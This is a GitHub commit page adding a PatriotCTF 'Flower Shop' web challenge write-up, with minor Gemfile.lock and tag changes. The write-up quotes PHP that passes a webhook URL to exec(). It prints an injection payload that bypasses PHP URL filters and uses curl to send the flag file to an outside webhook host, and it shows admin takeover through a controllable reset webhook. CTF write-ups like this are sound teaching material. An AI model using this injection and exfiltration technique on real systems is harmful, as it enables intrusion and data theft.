Skip to content

Commit

Permalink
Flower Shop Writeup (#47)
Browse files Browse the repository at this point in the history
* Add flowershop

* Convert images to webp and update references

---------

Co-authored-by: nkalupahana <[email protected]>
  • Loading branch information
nkalupahana and nkalupahana committed Sep 10, 2023
1 parent ab599dd commit 4454c1c
Show file tree
Hide file tree
Showing 9 changed files with 109 additions and 5 deletions.
12 changes: 7 additions & 5 deletions Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -71,7 +71,7 @@ GEM
jemoji (= 0.12.0)
kramdown (= 2.3.2)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.4)
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.13.6, < 2.0)
Expand Down Expand Up @@ -201,7 +201,7 @@ GEM
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.4)
liquid (4.0.3)
listen (3.8.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
Expand All @@ -211,7 +211,9 @@ GEM
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.20.0)
nokogiri (1.15.4-x86_64-linux)
nokogiri (1.13.10-arm64-darwin)
racc (~> 1.4)
nokogiri (1.13.10-x86_64-darwin)
racc (~> 1.4)
octokit (4.25.1)
faraday (>= 1, < 3)
Expand Down Expand Up @@ -255,7 +257,7 @@ GEM
zeitwerk (2.6.11)

PLATFORMS
x86_64-linux
universal-darwin-22

DEPENDENCIES
github-pages (~> 227)
Expand All @@ -265,4 +267,4 @@ DEPENDENCIES
webrick (~> 1.7)

BUNDLED WITH
2.4.19
2.3.19
4 changes: 4 additions & 0 deletions _data/tags.yml
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,10 @@ HTB:
name: HackTheBox CTF
description: Writups from the HackTheBox CTF.
cover: False
PatriotCTF:
name: PatriotCTF
description: Writups from PatriotCTF.
cover: False

misc:
name: misc
Expand Down
98 changes: 98 additions & 0 deletions _posts/2023-09-10-patriot-flowershop.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
---
layout: post
current: post
cover: assets/patriot/flowershop/cover.webp
navigation: True
title: "Flower Shop"
date: 2023-09-10 22:00:00
tags: [PatriotCTF, web]
class: post-template
subclass: 'post'
author: nisala
---

Bad news: pay-to-win made it to CTFs. Good news: we paid first.

In this challenge, we're presented with a basic user management system:

![Sign up, login, and password reset screen](assets/patriot/flowershop/image1.webp)

Alright, login, signup, and password reset. Pretty standard stuff. The one difference is in the password reset system. Instead of providing an email, you have to provide a webhook URL.

## The Intended Solution

One look at the password reset system and it's immediately obvious what the vulnerability is.

```php
public function resetPassword() {
$this->wh = $this->checkUser($this->uid);
if (!$this->wh) {
header("location: ../login.php?error=InvalidUser");
exit();
}

$this->tmpPass = $this->tmpPwd($this->uid);

exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");

return $this->tmpPass;
}
```

A call to `exec`? It's practically asking to be exploited -- and you very easily can. The webhook is validated, but the valdation is done very insecurely, using PHP filters:

```php
$this->wh = filter_var($wh, FILTER_SANITIZE_URL);
...
if (!filter_var($this->wh, FILTER_VALIDATE_URL)) {
header("location: ../login.php?error=NotValidWebhook");
exit();
}
```

`FILTER_SANITIZE_URL` is the easiest check to get around -- it just removes some illegal characters. `FILTER_VALIDATE_URL` hypothetically validates the URL against RFC2396, but there are lots of payloads that get around it. The flag is stored in `../admin.php`, so this is about how far we got on the payload before finding our unintentional solution:

```
0://google.com;curl${IFS}-d${IFS}@../../admin.php${IFS}https://webhook.site/nisala;
```

This bypasses the URL filter, and allows us to run a command with the insecure use of `exec`. We were still ironing out exactly how to use `${IFS}` to get spaces when we found an unintentional solution.

## The Unintentional Solution

So the flag is stored at `admin.php`, right? What's stopping us from just going there?

```php
if ($_SESSION['username'] !== "admin" ) {
header("Location: login.php?error=notadmin");
exit();
}
```

Our username needs to be `admin`, huh? Well, we can't register as `admin`, so it's clearly getting pre-created. Is that in the code?

```php
private function initDB() {
$stmt = $this->connect()->prepare('INSERT INTO users (username, password, webhook)
VALUES ("admin", :password, :webhook)');
$stmt->bindValue(':password', $hashedPwd);
$stmt->bindValue(':webhook', "https://webhook.site/fake");
$stmt->execute();
}
```

So it seems that `admin`'s password resets are being sent to `webhook.site/fake`. If we can see those, we can just log in as admin and get the flag. Now, this may seem far-fetched, but... can we control that URL?

![webhook.site page that shows premium tier has custom aliases](assets/patriot/flowershop/image2.webp)

Oh my god. So, does that mean...

![webhook.site page showing control of webhook.site/fake](assets/patriot/flowershop/image3.webp)

Yes. Yes it does. Let's send in a password reset for admin.

![webhook.site/fake showing the password](assets/patriot/flowershop/image4.webp)

And now we just sign in and claim our prize.

![flag, logged in as admin on the flower shop website](assets/patriot/flowershop/image5.webp)
Binary file added assets/patriot/flowershop/cover.webp
Binary file not shown.
Binary file added assets/patriot/flowershop/image1.webp
Binary file not shown.
Binary file added assets/patriot/flowershop/image2.webp
Binary file not shown.
Binary file added assets/patriot/flowershop/image3.webp
Binary file not shown.
Binary file added assets/patriot/flowershop/image4.webp
Binary file not shown.
Binary file added assets/patriot/flowershop/image5.webp
Binary file not shown.

0 comments on commit 4454c1c

Please sign in to comment.